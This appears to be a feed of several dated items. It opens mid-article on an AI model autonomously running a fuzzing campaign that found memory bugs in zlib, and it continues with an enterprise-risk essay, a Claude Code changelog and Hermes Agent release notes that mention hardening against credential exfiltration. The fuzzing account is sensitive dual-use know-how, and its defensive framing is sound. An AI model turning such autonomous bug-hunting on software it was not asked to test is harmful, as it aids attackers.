We believe the frontier 5.5-Cyber model combined with the /goal feature is what let it execute end-to-end without hand-holding. /goal forced the objective to live across multiple turns and compactions so the model held scope, and 5.5-Cyber was smart enough to reject weak findings, expand coverage when a line of investigation died, and keep running until it had workable proof-of-concepts backed by sanitizer output.

Over the next several hours, it built the campaign out one piece at a time:

It used ASan and UBSan builds so memory errors became observable.
It repurposed existing edge-case tests as guidance for the fuzz seed corpus.
It wrote C/C++ harnesses across a dozen entrypoints, including inflate, inflateBack, uncompress2, gzFile, MiniZip, puff, blast, infback9, gzjoin, gzappend, and several contrib stream wrappers.
It used compile-time variant builds (INFLATE_STRICT, BUILDFIXED, PKZIP_BUG_WORKAROUND, etc.) to reach code that the default zlib build hides.

Each of these decisions is routine on its own, but stringing them together in the right order across a dozen entrypoints, without being handed the steps, is a relatively large shift in how capable frontier models are.

While zlib already has fuzzing coverage from its OSS-Fuzz harness, GPT-5.5-Cyber went beyond the default harness shape, which passes random inputs to the gz* APIs. Instead of directly fuzzing the gz* APIs, its most successful harness found bugs in valid gz* states that could only be constructed by operating system backpressure.

Reporting discipline is the hard part

In general, models tend to struggle with deciding when a finding is severe enough to justify escalating it into reporting. Weaker models tend to escalate bugs that cause the program to crash, but are not reachable under real-world conditions. Early on, GPT-5.5-Cyber hit a null callback crash in inflateBack. The crash was real, but reaching it required a caller to set up a state that was extraordinarily unlikely in real-world conditions, so the model logged it as unreachable and moved on. This agent kept going without human intervention and found several higher-impact issues.

That discipline is the whole game. The value of the zlib harness came from automation plus a strict definition of what counted as a reportable finding. Without strong validity rules baked into the goal and a model truly capable of evaluating those rules, the agent will generate mountains of noise with high confidence: invalid uses of the public API, expected parser errors, internal API misuse, etc.

The moat is gone

Setting up a bespoke fuzzing campaign used to mean finding someone who could write harnesses, reason about valid API state, and differentiate between a bug and a crash that can’t happen in practice. This asymmetry kept casual attackers out of the game for most targets.

That moat is mostly gone now, and it shifts the threat model in two directions at the same time. For a skilled researcher, it is a force multiplier: the weeks-long tax on every new target drops to a day or less, so the same person can audit far more code. For a low-skill attacker, the floor rises: the tedious, expertise-heavy work of getting a harness off the ground can now be driven by starting a goal and supervising the loop.

For anyone shipping security-critical code, the practical takeaway is clear. Bespoke fuzzing is no longer a luxury reserved for projects with mature OSS-Fuzz coverage, and it is no longer expensive for the people whom you would rather not have running it. The defensive move is to do it first, with the validity rules that turn agent output into a high-signal source you can act on.

Lessons learned

The fuzzing lab answered the question we came in with and left us a much bigger one. We didn’t ask GPT-5.5-Cyber to build a fuzzing campaign; it decided that was the job and did it. The thing worth watching for now is what else these new models will reach for once you hand them a goal and step back, especially the approaches we would never have thought to ask for before.

That is also why the front-running work being done by Patch the Planet matters. Every new capability that helps us find bugs faster is just as available to an attacker, so the advantage goes to whoever finds the bugs and fixes them first.

Addressing consequence blindness

Thu, 02 Jul 2026 13:05:44 +0200

Enterprises do not suffer from a lack of oversight. They have dashboards, risk forums, architecture boards, vendor reviews, cyber controls, transformation offices, capital committees, regulatory programs, audit findings, service reports and enough status updates to make even the most patient executive reach for stronger coffee.

The issue is not that senior leaders fail to recognize activity, but that they often miss understanding where the consequences will lead next.

A technology issue does not stay within technology. A control weakness does not stay within compliance. A vendor failure does not stay within procurement. A data-quality gap does not stay within a data office. A cyber incident does not stay within security. An AI initiative does not stay within innovation.

It extends to customer trust, regulatory exposure, operating capacity, capital allocation, scarce talent, legal risk, vendor obligations, brand credibility and strategic freedom.

That is why every enterprise now needs a consequence layer: a connected way for senior executives to see what else moves when something changes. Not another dashboard, system of record or management ritual.

Local failures no longer stay local

Enterprise failures are often described by where they start rather than by where they end. Knight Capital remains one of the clearest examples because the entire episode unfolded in less than an hour. According to the SEC’s order on Knight Capital, a software deployment issue generated more than 4 million executions across 154 stocks in about 45 minutes, leaving the firm with roughly $3.5 billion in net long positions, $3.15 billion in net short positions and a $460 million loss. A technical failure became a capital, regulatory and strategic event.

That is not just a trading story. It is a warning about enterprise coupling. A code path, a deployment gap, market access, execution speed and weak controls were linked. The enterprise did not see the connection until the market did.

TSB Bank offers a modernization version of the same lesson. In 2018, TSB migrated customer and corporate services to a new platform. The data itself migrated successfully, but the platform immediately experienced technical failures that disrupted branch, telephone, online and mobile banking. The FCA later announced that TSB had been fined £48.65 million for operational resilience failings tied to the upgrade program.

TD Bank shows the control version. In 2024, FinCEN assessed a record $1.3 billion penalty against TD Bank and imposed a four-year independent monitorship tied to anti-money-laundering failures. The OCC separately imposed a $450 million civil money penalty and a growth restriction. A control issue became an enterprise constraint.

The original issue is rarely the whole issue. It is just where the consequence first became visible.

The formal view is not the whole enterprise

Most large organizations are still managed through functional silos. Technology has its systems. Finance has its systems. Risk has its systems. Compliance has its systems. Operations has its systems. Business units have their workflows, spreadsheets, local tools and local truths. That is not inherently a flaw. At enterprise scale, different teams need different systems because they do different work.

The danger is pretending those boundaries reflect how consequences behave. They do not.

A strategic initiative may appear healthy in the formal portfolio view. The milestone is green. The budget is approved. The steering committee is comfortable. Meanwhile, the same data teams, security reviewers, infrastructure groups, vendors, release windows, compliance resources and business experts may be committed elsewhere.

The project is green in one system. The capacity is gone in another. The dependency is buried in a third.

This is where the consequence layer matters. It does not replace the systems teams already use. It sits above them, connecting the enterprise logic across them. It does not need to own every workflow or transaction. It needs to understand how work, capacity, funding, timing, dependencies, vendors, risks, controls and value interact.

A consequence layer limited to the strategic portfolio is incomplete by design. The constraint that undermines the strategy may lie in operations, cyber, vendor management, data quality, regulatory remediation, customer service, finance or shared technical capacity. If those signals are outside the model, leadership may get a clean view of the portfolio and still miss the enterprise reality.

Dashboards show position. They rarely show blast radius

Dashboards matter. Reporting matters. Governance matters. But visibility is not the same as control over consequences.

A dashboard may show that a major platform program is delayed, a vendor SLA has slipped, a cyber risk has increased or a customer metric has deteriorated. What it often fails to show is the blast radius.

Which commitments are now less realistic? Which teams are about to be overdrawn? Which customer journeys are affected? Which regulatory dates are at risk? Which cost assumptions no longer hold? Which downstream initiatives now depend on heroic recovery?

Silicon Valley Bank is a stark reminder that assumptions can collapse with extraordinary force. The FDIC reported that by the end of March 9, 2023, $42 billion in deposits had left the bank. A balance-sheet assumption, depositor concentration, social amplification, liquidity exposure and digital banking behavior converged into a real-time institutional crisis. The point is not that every enterprise faces an SVB-style event. The point is that assumptions are no longer safely confined to one domain.

Resilience work is already pointing to the consequence layer

Regulators are pushing financial institutions toward this realization, although they use different vocabulary. The Bank of England’s operational resilience guidance expects firms to identify important business services and test whether they can remain within impact tolerances under severe but plausible scenarios. DORA applies a similar logic across the EU financial sector, including oversight of critical third-party ICT providers whose failures could affect operational resilience.

This is not just compliance work. It is a map of enterprise consequences.

Important business services, third-party dependencies, recovery tolerances, cyber scenarios, critical operations and service continuity are not side documents for risk teams. They are the organization’s wiring diagram.

If that wiring diagram sits apart from technology roadmaps, investment commitments, capacity constraints, AI demand, vendor strategy and customer obligations, the enterprise has only partial control.

This also connects to the project and transformation profession. PMI’s Manifesto for Enterprise Agility frames enterprise agility around adapting at scale without losing coherence, and PMI’s 2025 Pulse of the Profession emphasizes the shift from tactical troubleshooting to strategic value creation. A consequence layer helps the enterprise adapt without losing the thread between commitment, capacity, risk and value.

The CIO may see the systems. The CRO may see the control exposure. The CFO may see the funding and capital implications. The COO may see the operating strain. The business may see customer and revenue impact. The consequence does not care which executive owns the first signal. It travels anyway.

AI adds new consequence paths

AI does not reduce consequence complexity. It increases it.

Every AI use case creates new enterprise edges: data readiness, model risk, explainability, privacy, security, cloud cost, workflow redesign, legal exposure, human adoption, vendor reliance and value measurement. The risk is not only hallucination or misuse. It is untested assumptions presented with executive polish.

A leadership team can approve an AI ambition in one room and discover months later that the real constraint lives in model-risk capacity, data lineage, customer consent, cloud architecture or operational absorption. That is not an AI problem alone. It is the absence of a consequence layer wearing an AI badge.

AI value depends on technology, yes, but also on risk, legal, finance, operations, HR, customer experience and the business model itself.

Manual consequence tracking will not scale

This cannot be solved through another standing meeting. The people involved are not the problem. They know their domains, the risks, the workarounds and where the bodies are buried, sometimes in a spreadsheet named something like “final_final_v9.” The issue is scale.

Every serious enterprise move now touches systems, people, controls, vendors, data, security, funding, customers, regulators and operating tolerance. The number of interactions grows faster than any manual review process can keep up with.

If a regulatory program accelerates, which modernization work gets displaced? If AI demand expands, which data, legal, cyber, architecture, privacy and model-risk teams are now consumed? If a core migration slips, which cost-takeout, customer migration, vendor and operating assumptions move with it? If funding tightens, which initiatives still make sense and which business cases are quietly eroding?

Those questions require a consequence layer. Not to make the call. To make the call more honest. The math should not replace judgment. But judgment without connected consequence math becomes too dependent on meetings, memory, optimism and politics.

The lesson extends well beyond banking

CrowdStrike made the ecosystem lesson visible across industries. Microsoft estimated that the July 2024 update affected 8.5 million Windows devices, less than one percent of all Windows machines. Microsoft also wrote that the incident demonstrated “the interconnected nature” of the technology ecosystem. Small percentage. Large consequence. The details are in Microsoft’s CrowdStrike outage update.

Change Healthcare showed a similar pattern in healthcare. The American Hospital Association described the February 2024 cyberattack as disrupting health care operations on an unprecedented national scale, endangering patient access, disrupting clinical and eligibility operations and threatening provider solvency. A separate Office of Financial Research brief described the disruption as triggering a “medical sector liquidity event.”

Manufacturing sees the same pattern when a supplier delay hits sequencing, inventory, commitments, margin and revenue. Retail sees it when demand or data-quality issues move from merchandising into warehouses, stores, pricing and customer trust. Utilities see it when grid delays affect reliability targets, field crews, regulators and outage response.

Different industries. Same structure. The original issue is local. The consequence is not.

From visibility to consequence

The dashboard era trained executives to ask, “What is the status?” The consequence layer asks a harder question: “What else moves because this moved?”

That question now sits at the center of modernization, operational resilience, AI governance, third-party risk, cyber preparedness, regulatory credibility, customer trust and enterprise value.

The next leadership advantage depends not on generating more activity metrics, but on proactively detecting consequence movements early—before they escalate into losses, outages, fines, stranded investments, customer harm or the loss of strategic freedom.

Every serious enterprise has systems of record. What many still lack is a system of consequence.

Not another dashboard or workflow tool. A consequence layer gives senior leaders a way to test what happens when priorities, capacity, timing, funding, risk, vendors and dependencies pull in opposite directions.

That is the missing space between strategy and execution. In a complex enterprise, the original issue is rarely the whole issue. It is just where the consequence first became visible.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

v2.1.198

Wed, 01 Jul 2026 22:46:47 +0200

What's changed

Claude in Chrome is now generally available
Added background agent notifications in claude agents — sessions that need input or finish now fire the Notification hook (agent_needs_input / agent_completed)
Added /dataviz skill for chart and dashboard design guidance with a runnable color-palette validator
Gateway: added Claude Platform on AWS (anthropicAws) as an upstream provider; model-not-found responses now advance the failover chain
Background agents launched from claude agents now commit, push, and open a draft PR when they finish code work in a worktree, instead of stopping to ask
The built-in Explore agent now inherits the main session's model (capped at opus) instead of running on haiku
Subagents and context compaction now inherit the session's extended thinking configuration, improving output quality on delegated tasks
Fixed brief network drops mid-response aborting the turn — transient errors like ECONNRESET now retry with backoff instead of failing
Fixed excessive background classifier requests when sandboxed processes repeatedly accessed the same network host
Fixed background tasks in web, desktop, and VS Code task panels getting stuck on "Running" after they finish or after resuming a session
Fixed agent teams: a teammate that dies on an API error now reports "failed" to the lead, and messaging a stuck teammate wakes it to retry immediately
Fixed the /diff panel not refreshing when you switch branches or commit outside the session
Fixed markdown tables overflowing and wrapping their right border when rendered in fullscreen mode
Fixed Claude Platform on AWS and Mantle sessions dead-ending with "Please run /login" when the STS token expires — awsAuthRefresh now runs automatically
Fixed "no route to host" for local-network hosts in macOS background agent sessions by declaring Local Network entitlements
Fixed /desktop failing with "Cannot determine working directory" after entering and exiting a worktree
Fixed background agents repeatedly showing "Reconnecting…" every ~52 seconds on macOS while the agents view was open
Fixed pressing ← inside claude attach exiting to the shell instead of opening the agent view
Fixed claude --bg silently creating an unattachable session when combined with --print/-p; the conflicting flags are now rejected up front
Fixed the workflow progress view dropping the earliest agents from the list while the phase counter stayed correct in SDK and desktop-app sessions
Fixed .claude/rules/ conditional rules not loading when the target file is reached via a symlinked path
Fixed Cmd+click not opening URLs in fullscreen mode in Warp on macOS
Fixed double-click word selection in fullscreen mode to select the entire URL including the scheme
Fixed plan mode not auto-allowing read-only tool calls when a session starts in plan mode
Fixed /branch deriving its default fork name from the compaction summary instead of the first real prompt
Improved focus mode: subagents launched in a turn now appear in its activity summary, and completed background notifications fold into a single count
Improved syntax highlighting accuracy in code blocks, diffs, and file previews by upgrading to highlight.js 11
Keyboard shortcut hints now show opt/cmd instead of alt/super when connected from a Mac over SSH
Improved API retry UX: the error reason is now shown after the second attempt, and a status page link replaces the spinner tip when the API is overloaded
/login now opens the sign-in dialog from the claude agents view instead of saying it isn't available
Subagents now treat messages from the agent that launched them as normal task direction; an agent's message is still never treated as the user's approval
Removed the /agents wizard; ask Claude to create or manage subagents, or edit .claude/agents/ directly

Hermes Agent v0.18.0 (2026.7.1) — The Judgment Release

Wed, 01 Jul 2026 22:16:35 +0200

Hermes Agent v0.18.0 (v2026.7.1)

Release Date: July 1, 2026
Since v0.17.0: ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · 949 issues closed · 370+ community contributors

The Judgment Release. Over the last week and a half the team put nearly all of its effort into one goal: resolve every P0 and P1 issue and PR in the entire Hermes Agent repo — and as of this release, 100% of them are closed. Zero open P0s. Zero open P1s. That's ~700 highest-priority items cleared as part of ~1,950 total issues and PRs closed this window. We intend to keep P0/P1 at zero from here on.

On top of that clean-sweep, v0.18.0 is about how well Hermes thinks and how it knows when its work is actually done. Mixture-of-Agents became a first-class citizen — named ensembles of models you can pick like any other model, with every reference model's reasoning shown to you and the aggregator's answer streamed live. The agent learned to verify its own work against evidence instead of vibes, /goal gained completion contracts, and /learn + /journey turned self-improvement into something you can see and steer. Underneath, the gateway became genuinely deployable-at-scale (scale-to-zero, drain coordination), the desktop grew first-class coding projects and a playable memory graph, and subagents can now fan out in the background.

🎯 The P0/P1 Clean Sweep — 100% resolved

This is the release headline. For a week and a half the team hammered the priority backlog day and night, and every single P0 and P1 across the whole repo is now closed:

Priority	Issues closed	PRs merged
P0 (critical)	3	8
P1 (high)	493	188
Total	496	196

That's ~692 highest-priority items resolved in twelve days — and at the moment the sweep completed, the open P0/P1 count hit 0 across the entire repo. The final cluster to fall was the interrupt-protected-compression sibling-fork bug (issue #56391) and its fix (#56416), closed on an all-nighter right before this release cut.

Special shoutout to @kshitijk4poor, who burned through the priority backlog day and night alongside the core team — the cron reliability wave, the compression-fork fix, the credential-exfil hardening, and a huge share of the P1 closures are his.

We're keeping P0/P1 at 0 from here forward. 🫡

✨ Highlights

Mixture-of-Agents is now a first-class model you can pick — MoA used to be a mode you toggled; now every named MoA preset shows up as a selectable model under a moa provider, right alongside Claude, GPT, and Grok in every model picker (CLI, TUI, desktop, gateway). Pick "my-council" the same way you'd pick any model, and Hermes routes your prompt through that ensemble automatically. An ensemble of frontier models deliberating on your hardest questions is now one selection away, on every surface. (#46081, #53548, #53561 — @teknium1)
See every model's reasoning, then watch the answer stream in — When a MoA ensemble runs, each reference model's full output now renders as its own labelled block — you can read what GPT-5 thought, what Claude thought, and what Grok thought, before the aggregator synthesizes them into one answer. And that final answer now streams to you live instead of appearing all at once after a long silence. This works in the CLI, the TUI, and the desktop app. You get to watch the committee deliberate, not just read the verdict. (#53793, #53855, #55625, #56101 — @teknium1)
The agent verifies its own work — "done" means proven, not claimed — Hermes now records verification evidence for coding work and can decide it's finished by actually running your project's checks, not by asserting success. /goal gained completion contracts: you state what "done" looks like, and the standing-goal loop judges completion against that evidence instead of stopping when the model feels like it. There's a pre_verify hook for wiring in custom checks and a one-time migration that tunes the defaults sensibly. The difference between "I think I fixed it" and "the tests pass, here's proof." (#50501, #52285, #55413, #53552 — @teknium1, @OutThisLife)
/learn — turn anything into a reusable skill by describing it — Run /learn and Hermes distills a reusable skill out of whatever you point it at — a directory, a URL, or just the workflow you walked it through five minutes ago. It writes the skill to the standards in your CONTRIBUTING.md automatically. The next time you need that workflow, it's already there. Teaching Hermes a new trick is now a single command, not a manual skill-authoring session. (#51506, #52372 — @teknium1)
/journey — a playable timeline of everything Hermes has learned about you — The CLI and TUI gained /journey, a learning timeline that shows the memories and skills Hermes has accumulated over time — and you can edit or delete any of them right from the view. Pair it with the desktop's new memory graph (a top-down, playable radial timeline of memories and skills) and for the first time you can actually see what your agent knows, watch it grow, and prune what's wrong. Your agent's memory stops being a black box. (#55555, #55859, #55226 — @OutThisLife)
Delegate a pile of work and keep going — background fan-out — delegate_task can now fan out multiple subagents that all run in the background: your chat is never blocked, and when every subagent finishes, their results come back as a single consolidated turn. Kick off "research these five competitors in parallel" or "audit these three modules," then carry on with something else while a small fleet works. When it's all done, you get one clean summary instead of babysitting each one. (#49734 — @teknium1)
First-class coding Projects in the desktop app — The desktop app gained real, per-profile Projects — a sidebar of your codebases, a coding rail, a review pane, git worktree management, and agent-facing project tools, all backed by a proper project → repo → lane model. Instead of scattered chat sessions, your coding work is organized into projects the agent understands and can act on. It's the desktop turning into an actual coding cockpit. (#49037, #54385, #54517 — @OutThisLife)
Run Hermes at scale — scale-to-zero and drain coordination — The gateway can now go dormant when idle and quiesce cleanly before a restart, migration, or auto-update — without dropping in-flight conversations. A hosted or relay-only Hermes can scale to zero when nobody's talking to it and wake back up on demand, and disruptive lifecycle actions coordinate an external drain so nobody gets cut off mid-turn. Running Hermes for a team or as a hosted service just got a lot more production-grade. (#52243, #52937, #54824 — @teknium1, @benbarclay)
Cheaper self-improvement — smarter background review — The post-turn self-improvement fork (the one that decides whether to save a memory or skill) now routes to an auxiliary model, digests context instead of replaying the whole conversation, and adapts its cadence — so the "learn from what just happened" loop that runs after your turns costs a fraction of what it used to. You keep the self-improvement, you stop paying full main-model price for it. (#49252 — @teknium1)
Compose your next prompt in your editor — /prompt — /prompt opens your $EDITOR so you can hand-write a long, multi-line prompt in real markdown instead of fighting a one-line input box. Draft a detailed spec, a structured question, or a big paste, save, and it's queued as your next message. Small thing, huge quality-of-life win for anyone who writes Hermes more than a sentence at a time. (#50509 — @teknium1)
Google Vertex AI — Gemini through your GCP service account, no static key — Vertex AI is now a first-class provider for Gemini models over Vertex's OpenAI-compatible endpoint. The reason a plain custom-provider setup always died mid-session is that Vertex has no static API key — every request needs a short-lived OAuth2 access token (~1h TTL) minted from a service-account JSON or Application Default Credentials. Hermes now mints and auto-refreshes those tokens for you, so if your org runs Gemini through Google Cloud, you point Hermes at your service account and it just works — no token-pasting, no mid-session expiry. (#56363 — @teknium1, @slawt)
Security round — This window hardened several surfaces: MCP-config persistence attack surface locked down, cron base_url overrides that could exfiltrate provider credentials blocked, a non-reusable sentinel for prefix secrets in file reads, Slack app-level (xapp-) token redaction, a browser cloud-metadata floor enforced on every backend, and an aiohttp CVE floor across the lazy messaging paths. Fewer ways for a prompt-injected or misconfigured session to leak a credential. (#50476, #56196, #54166, #56227, #52349, #56237 — @teknium1, @kshitijk4poor, @claudlos)

🧠 Mixture-of-Agents (MoA)

MoA graduated from a mode to a first-class part of the model system this window.

Presets as selectable virtual models — each named MoA preset appears as a model under provider moa; pick it in any model picker and Hermes routes through the ensemble (#46081, #53561, #53775 — @teknium1)
/moa is now one-shot sugar — runs a single prompt through the default preset and restores your model afterward; persistent switching goes through the model picker (#53548 — @teknium1)
Reference-model output shown as labelled blocks in CLI, TUI, and desktop — read each model's reasoning before the aggregator's synthesis (#53793, #53855 — @teknium1)
Aggregator response streams live instead of appearing whole after a silence (#55625 — @teknium1)
References see full tool state and fire on every user/tool response; advisory references end on a user turn and get a reference-role system prompt (#54016, #54007 — @teknium1)
Opt-in full-turn trace persistence to JSONL (moa.save_traces) for debugging and eval (#56101 — @teknium1)
Reliability: reference + aggregator models called through their provider's real route; context window resolved from the aggregator (not the 256K default); auxiliary tasks resolve to the aggregator; virtual provider blocked as a reference/aggregator slot; tolerant of hand-edited preset config (#53580, #53780, #53827, #53281, #53275, #53556 — @teknium1)
MoA slot provider-identity unified on the single call_llm chokepoint; HermesBench results documented (#55991, #53206 — @teknium1)

✅ Verification & Goals — the agent proves its work

Completion contracts for /goal — state what "done" looks like; the standing-goal loop judges against evidence, not the model's say-so (#50501 — @teknium1)
/goal wait — park the standing-goal loop on a background process instead of re-poking the agent (#50503 — @teknium1)
Coding verification evidence ledger — profile-scoped record of canonical project checks detected by agent.coding_context; gateway exposes verification status (#52285, #52286 — @OutThisLife)
pre_verify hook + coding guidance config; verification stop loop + ad-hoc verification scripts (#55413, #52296, #52297 — @OutThisLife)
verify-on-stop defaults OFF with a one-time v32 migration; skips doc-only edits; surface-aware "auto" default restored; gated off for messaging surfaces (#53552, #54740, #55449, #52412 — @teknium1, @OutThisLife, @GodsBoy)

🎓 Self-Improvement (Learn / Journey)

/learn — distill a reusable skill from a directory, URL, or a workflow you just walked through; honors CONTRIBUTING.md skill standards and mixed requirements (#51506, #52372, #55956 — @teknium1)
/journey — CLI + TUI learning timeline of accumulated memories and skills, with in-place edit/delete (#55555, #55859 — @OutThisLife)
Cheaper background review — aux-model routing + context digest + adaptive cadence for the post-turn self-improvement fork (#49252 — @teknium1)
memory graph in the desktop — playable radial timeline of memories + skills over time (#55226 — @OutThisLife)

🖥️ Hermes Desktop App

Coding cockpit

First-class Projects — per-profile sidebar, coding rail, review pane, agent project tools (project → repo → lane); remote-gateway-aware folder picker + git cockpit (status, review, worktrees) (#49037, #54385 — @OutThisLife)
Multi-terminal panel with read-only agent terminals; persist & restore terminal tabs + scrollback across relaunch (#54517, #54585 — @OutThisLife)
PR-style file diffs in chat; in-app spot editor for the file preview pane; inline rich embeds, diagrams & alerts in assistant markdown (#50731, #52772, #52935 — @OutThisLife)

UX & surfaces

Conversation timeline rail for long threads; context-usage breakdown popover; read-only spectator transcript for subagent watch windows; pop the composer into a draggable floating window (#51094, #54907, #55033, #49488 — @OutThisLife, @austinpickett)
Read replies aloud (auto-TTS) composer toggle; remember window size/position/maximized across launches; redesigned clarify prompt; shared overlay Panel primitive for cron/profiles/agents (#55154, #52086, #52993, #54558 — @OutThisLife)
Backup import/create/download from the web UI; add context-usage popover; flag already-installed themes in install pickers; config-driven Electron launch flags + GPU policy (#54611, #55410, #53991 — @teknium1, @OutThisLife)
Pets — roaming pet (opt-in), calmer/realistic roam, Alt+wheel scaling never cropped, frame-perfect hatch flow + CPU-safe chroma, pop-out overlay + notifications (#55114, #55400, #52877, #47959, #52303 — @OutThisLife)

Refactor wave (composer / god-file de-entangle)

Decomposed the composer into isolated engine hooks; extracted branch/esc/url/placeholder/popout engines; split thread.tsx, sidebar/index.tsx, onboarding overlay, and use-prompt-actions god files into focused modules; shared WebSocket layer decoupling desktop from dashboard (hermes serve) (#55500, #55842, #55451, #55453, #55807, #55504, #54568 — @OutThisLife)
perf: bound tool-result rendering so big /learn runs don't freeze; fast session switching under load (#52273, #52620 — @OutThisLife)

📊 Web Dashboard

Auto-initiate portal SSO redirect on unauthenticated load; interactive auth setup on no-provider non-loopback bind; confidential-client (client_secret) support in self-hosted OIDC (#54846, #50551, #55344 — @teknium1, @benbarclay)
Catalogue all memory-provider API keys in OPTIONAL_ENV_VARS; list & add arbitrary custom .env keys on the Keys page; expose cron job execution fields; backup import/create/download (#54546, #54552, #53551, #54611 — @benbarclay, @teknium1)
Offload PTY spawn/close off the event loop; exclude non-interactive providers from interactive login surfaces (#53227, #53239 — @IAvecilla)

🏗️ Core Agent & Architecture

Delegation & subagents

Background fan-out — parallel subagents run in the background, one consolidated return when all finish; calm "will resume" affordance for background delegate_task (#49734, #52756 — @teknium1, @OutThisLife)
Track background subagents in the CLI + TUI status bar (#51441, #51485 — @teknium1)

Agent loop, tools & coding context

One-shot LLM helper + llm.oneshot gateway RPC; expose coding-context project facts (project.facts RPC) (#51261, #51259 — @OutThisLife)
web_extract truncate-and-store instead of LLM summarization; concurrent @-reference expansion (#54843, #55207 — @teknium1, @kshitijk4poor)
Friendly human-phrased tool labels for built-in tools; /reasoning full (uncapped thinking); /timestamps + timestamps in /history; /prompt composes in $EDITOR (#55166, #50499, #50506, #50509 — @teknium1)
Per-reasoning-model stale-timeout floor in stream + non-stream detectors; escalate SIGTERM→SIGKILL on host-pid termination after grace (#52845, #50489 — @teknium1)
Multiple HERMES_WRITE_SAFE_ROOT dirs; opt-in HTTP/WS body capture to an isolated, share-excluded gui_bodies.log (#53292, #49044 — @kshitijk4poor)

Compression & sessions

In-place compaction option (single session id); flip in_place default to True with a guard fix (#49739, #52658 — @teknium1)
Backup includes projects.db and kanban boards in the pre-update snapshot (#52990 — @kshitijk4poor)

Providers & models

Google Vertex AI first-class provider for Gemini over the OpenAI-compatible endpoint — auto-mints and refreshes short-lived OAuth2 tokens from a service-account JSON / ADC (no static key); salvages & modernizes #8427 by @slawt (#56363 — @teknium1, @slawt)
Krea via managed Nous Subscription gateway; Z.AI endpoint picker (Global/China/Coding Plan); Ollama-cloud reasoning_effort wiring; remove google-gemini-cli + google-antigravity OAuth providers (#52647, #52364, #51494, #50492 — @teknium1, @kshitijk4poor)
Honor NOUS_INFERENCE_BASE_URL env override for Nous OAuth; keep Nous auth fresh for idle dashboard/gateway agents (#52270, #50567 — @benbarclay, @teknium1)

🌐 Gateway, Fleet & Relay

Scale-to-zero & drain

Scale-to-zero idle detection + dormant-quiesce (Phase 0); hardened dormancy guards; fixed arm-gate counting disabled placeholder platforms (#52243, #52359, #52831 — @teknium1, @benbarclay)
External drain coordination (safe-shutdown Phase 2); suppress home-channel shutdown broadcast on flagged drains; persist in-flight transcript on restart/shutdown drain timeout; busy/idle readout for safe lifecycle actions (#52937, #54824, #50312, #50131 — @teknium1, @benbarclay, @kshitijk4poor)
Default restart_drain_timeout to 0 to kill a systemd crash loop; self-heal a gateway stranded in draining/degraded (#54066, #55397 — @teknium1)

Relay (Phase 5 / 6)

Wake primitive (gateway side); going-idle / buffered-flip primitive; passthrough_forward over WS; multi-platform-per-agent identity + per-frame egress; forward stable instance id at self-provision; declare relevance policy to the connector (#51595, #51572, #50702, #52830, #50772, #51248 — @benbarclay)
Authorize relay-delivered events by delivery, not source.platform; adopt scope_id wire key; purge platform-specific scope terminology (#52306, #55289, #56016 — @benbarclay)

Gateway core & rendering

Typed send-error classification (SendResult.error_kind); per-platform typing_indicator toggle; per-category context breakdown in /usage (#50342, #55394, #55204 — @teknium1)
API server: configurable concurrent-run cap to prevent DoS; scope run approvals by run id (#50007, #56129 — @teknium1)

📱 Messaging Platforms

Cron continuations — continuable cron jobs (thread-preferred continuation with DM-mirror fallback); flat in-channel continuable cron delivery for Slack; warn when gateway not running on cron create/list (#52250, #56254, #51696 — @teknium1)
Telegram: configurable command menu + raised default cap so skills stay visible; gate rich draft previews separately; drain general send pool on pool timeout before retry (#51716, #52088, #54121 — @teknium1, @helix4u)
Slack: opt-in Block Kit rendering for agent messages; --no-assistant flag for manifest generation (#56102, #51487 — @teknium1)
Discord: render reasoning as -# subtext via display.reasoning_style (#51168 — @teknium1)
Native WhatsApp media delivery via the Baileys bridge; Teams native send_video/send_voice/send_document; photon sidecar upgraded to spectrum-ts v8 with tapback correlation; Raft gateway setup wizard (#53598, #49308, #53451, #56230 — @teknium1)
Signal: AAC voice-note remux + shared markdown formatting (#49530 — @kshitijk4poor)
Migrate slack/dingtalk/whatsapp/matrix/feishu/telegram/wecom/email/sms adapters to bundled (#49408 — @teknium1)

🔧 Tool System, Skills & MCP

Blank Slate setup mode — minimal agent, opt in to everything (#36733 — @teknium1)
MCP: config persistence attack surface hardened; block base_url exfil; keepalive for short-TTL sessions (see Security) — plus catalog & UX carried from v0.17.0
Skills: /learn distillation (see Self-Improvement); cloudflare-temporary-deploy optional skill; creative-ideation v2.1.0 method library (#50849, #42402 — @teknium1, @SHL0MS)
Kanban: task lifecycle plugin hooks (claimed/completed/blocked); typed block reasons + unblock-loop breaker; handoff freshness stamping (#50349, #52848, #53973 — @teknium1)
Plugins: ctx.profile_name for session-agnostic profile access (#50346 — @teknium1)
LSP: PowerShellEditorServices language server; mem0 v3 API + OSS mode + update/delete tools (#55930, #15624 — @teknium1, @kartik-mem0)

⚡ Performance

Cold start: lazy-load gateway platform adapters; parse config + plugin manifests with libyaml CSafeLoader (#54448, #54486 — @teknium1)
State: merge FTS5 segments + handoff_state index to curb write-lock contention; single-pass list_profiles alias map + skill-count cache + event-loop offload (#54752, #54770 — @kshitijk4poor, @teknium1)

🔒 Security & Reliability

Harden MCP-config persistence attack surface; block cron base_url overrides that exfiltrate provider credentials; non-reusable sentinel for prefix secrets in file reads (#50476, #56196, #54166 — @teknium1, @kshitijk4poor)
Redact Slack App-Level (xapp-) tokens; browser cloud-metadata floor on all backends (CDP non-local); re-check private-network guard after browser_back navigation; scope /resume and /sessions to caller origin (IDOR); aiohttp 3.14.1 CVE floor across lazy messaging paths + pin-drift guard (#56227, #52349, #56526, #56378, #56237 — @teknium1, @claudlos, @kshitijk4poor)
Cron reliability wave: fail closed when an unpinned job's provider drifts; run missed-grace jobs once instead of deferring forever; keep the ticker alive on BaseException + heartbeat-aware status; layer enabled MCP servers onto per-job toolsets; guard cron model-tool path + auto-resume loop breaker (#51051, #50062, #50016, #50117, #56240 — @kshitijk4poor, @teknium1)
Windows: suppress console flashes + harden gateway restarts; prefer cmd npm shim on PATH fallback; respawn gateway windowless after GUI update; prefer managed node for whatsapp/desktop (#52340, #50398, #52239 — @helix4u, @teknium1)

🔁 Reverts (in-window, for the record)

cron job storage returned to per-profile (reverts #32117 + #50993); don't clone auth.json (duplicating OAuth grant causes sibling revocation); windows terminal-popup PRs rolled back; prompt_caching.enabled toggle backed out for re-evaluation (#51116, #51732, #53853, #56126 — @teknium1)

👥 Contributors

381 people contributed to this release (via commits, co-author trailers, and salvaged PRs). Thank you, all of you.

Core

@teknium1 — release lead; MoA first-class, verification/goals, /learn, background review, security round, providers, the P0/P1 clean-sweep
